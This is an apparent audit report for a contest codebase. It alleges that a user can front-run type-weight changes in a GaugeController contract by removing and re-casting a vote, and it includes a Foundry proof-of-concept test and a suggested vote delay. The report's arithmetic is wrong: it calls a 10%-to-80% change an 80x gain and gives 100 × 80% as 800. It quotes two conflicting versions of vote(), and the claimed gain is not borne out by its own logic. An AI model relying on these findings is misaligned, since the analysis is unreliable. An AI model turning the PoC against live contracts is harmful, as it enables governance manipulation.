Summary
In GaugeController.sol contract there is a vul that allows attackers to front-run setType weight changes to amplify their voting power significantly. It is from the lack of synchronization between type weight updates and vote modifications, allowing attackers to strategically time their voting actions around administrative type weight changes.
My POC demonstrates that an attacker with just 100 voting power units can amplify their effective voting power by 80x (from 10 to 800) by front-running a type weight change from 10% to 80%. This manipulation severely undermines the democratic governance process and allows attackers to gain disproportionate influence over the protocol with minimal capital commitment.
Under normal conditions, changes to type weights should affect all voters equally, maintaining proportional representation. However, this vulnerability allows attackers to game the system by temporarily withdrawing their votes before a type weight increase and re-applying them afterward, gaining significantly more voting power than intended.
Vulnerability Details
The vulnerability exists in the interaction between several key functions in GaugeController.sol:
function vote(address gauge, uint256 weight) external {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > getVotingPower(msg.sender)) revert InsufficientVotingPower();
userGaugeVotes[msg.sender][gauge] = weight;
}
Type Weight Setting: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/GaugeController.sol#L342
function setTypeWeight(GaugeType gaugeType, uint256 weight) external {
if (!hasRole(GAUGE_ADMIN, msg.sender)) revert UnauthorizedCaller();
if (weight > MAX_TYPE_WEIGHT) revert InvalidWeight();
typeWeights[gaugeType] = weight;
emit TypeWeightUpdated(gaugeType, weight);
}
Weight Calculation: https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/governance/gauges/GaugeController.sol#L468
function getGaugeWeight(address gauge) public view returns (uint256) {
return gauges[gauge].weight;
}
Proof of code: Add this code to a testfile and run it
pragma solidity ^0.8.19;
import "../../../../../contracts/interfaces/core/governance/gauges/IGaugeController.sol";
import "../../../../../contracts/interfaces/core/governance/gauges/IGauge.sol";
import "../../../../../contracts/core/governance/gauges/GaugeController.sol";
import "../../../../../contracts/libraries/math/TimeWeightedAverage.sol";
import "../../../../../contracts/libraries/governance/BoostCalculator.sol";
import "forge-std/Test.sol";
contract GaugeControllerTest is Test {
using TimeWeightedAverage for TimeWeightedAverage.Period;
using BoostCalculator for BoostCalculator.BoostState;
GaugeController public controller;
address public veToken;
address public gauge;
address public attacker;
address public admin;
function setUp() public {
veToken = makeAddr("veToken");
controller = new GaugeController(veToken);
admin = address(this);
attacker = makeAddr("attacker");
gauge = makeAddr("gauge");
vm.mockCall(
veToken,
abi.encodeWithSelector(IERC20.balanceOf.selector, attacker),
abi.encode(100 * 1e18)
);
vm.mockCall(
veToken,
abi.encodeWithSelector(IERC20.totalSupply.selector),
abi.encode(1000 * 1e18)
);
controller.addGauge(gauge, IGaugeController.GaugeType.RWA, 1000);
}
function testFrontRunningAttack() public {
uint256 ATTACKER_VOTING_POWER = 100;
vm.mockCall(
veToken,
abi.encodeWithSelector(IERC20.balanceOf.selector, attacker),
abi.encode(ATTACKER_VOTING_POWER)
);
controller.setTypeWeight(IGaugeController.GaugeType.RWA, 1000);
vm.startPrank(attacker);
controller.vote(gauge, ATTACKER_VOTING_POWER);
vm.stopPrank();
console.log("\nInitial state:");
console.log("Initial type weight:", controller.getTypeWeight(IGaugeController.GaugeType.RWA));
console.log("Initial gauge weight:", controller.getGaugeWeight(gauge));
console.log("Initial effective power:", controller.getGaugeWeight(gauge) * controller.getTypeWeight(IGaugeController.GaugeType.RWA) / controller.MAX_TYPE_WEIGHT());
vm.startPrank(attacker);
controller.vote(gauge, 0);
vm.stopPrank();
vm.startPrank(admin);
controller.setTypeWeight(IGaugeController.GaugeType.RWA, 8000);
vm.stopPrank();
vm.startPrank(attacker);
controller.vote(gauge, ATTACKER_VOTING_POWER);
vm.stopPrank();
uint256 finalEffectivePower = controller.getGaugeWeight(gauge) * controller.getTypeWeight(IGaugeController.GaugeType.RWA) / controller.MAX_TYPE_WEIGHT();
uint256 initialEffectivePower = ATTACKER_VOTING_POWER * 1000 / controller.MAX_TYPE_WEIGHT();
console.log("\nAttack Results:");
console.log("Initial effective power:", initialEffectivePower);
console.log("Final effective power:", finalEffectivePower);
console.log("Power multiplier gained:", finalEffectivePower / initialEffectivePower);
assertTrue(
finalEffectivePower > initialEffectivePower * 2,
"Attack failed - voting power not significantly increased"
);
}
}
Attack flow:
Attacker has 100 voting power units
Initial type weight is set to 1000 (10%) for RWA gauge type
Attacker initially votes with full power
Attacker monitors mempool for type weight changes
Removes vote completely
Admin increases type weight significantly
80%
Attacker quickly re-applies vote after weight change
Re-votes with same power
Attack Results:
Initial effective power: 10 (100 * 10%)
Final effective power: 800 (100 * 80%)
Power multiplier gained: 80x
Impact
Governance Manipulation:
Tools Used
Recommendations
GuageController has a VOTE DELAY but never uses it.
Add this as it would hinder a user from voting and unvoting immediately
mapping(address => uint256) public lastVoteTime;
uint256 public constant VOTE_DELAY = 10 days;
-----------------------------------------------------
* @dev Updates gauge weights based on user's veToken balance
* @param gauge Address of gauge to vote for
* @param weight New weight value in basis points (0-10000)
*/
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight);
}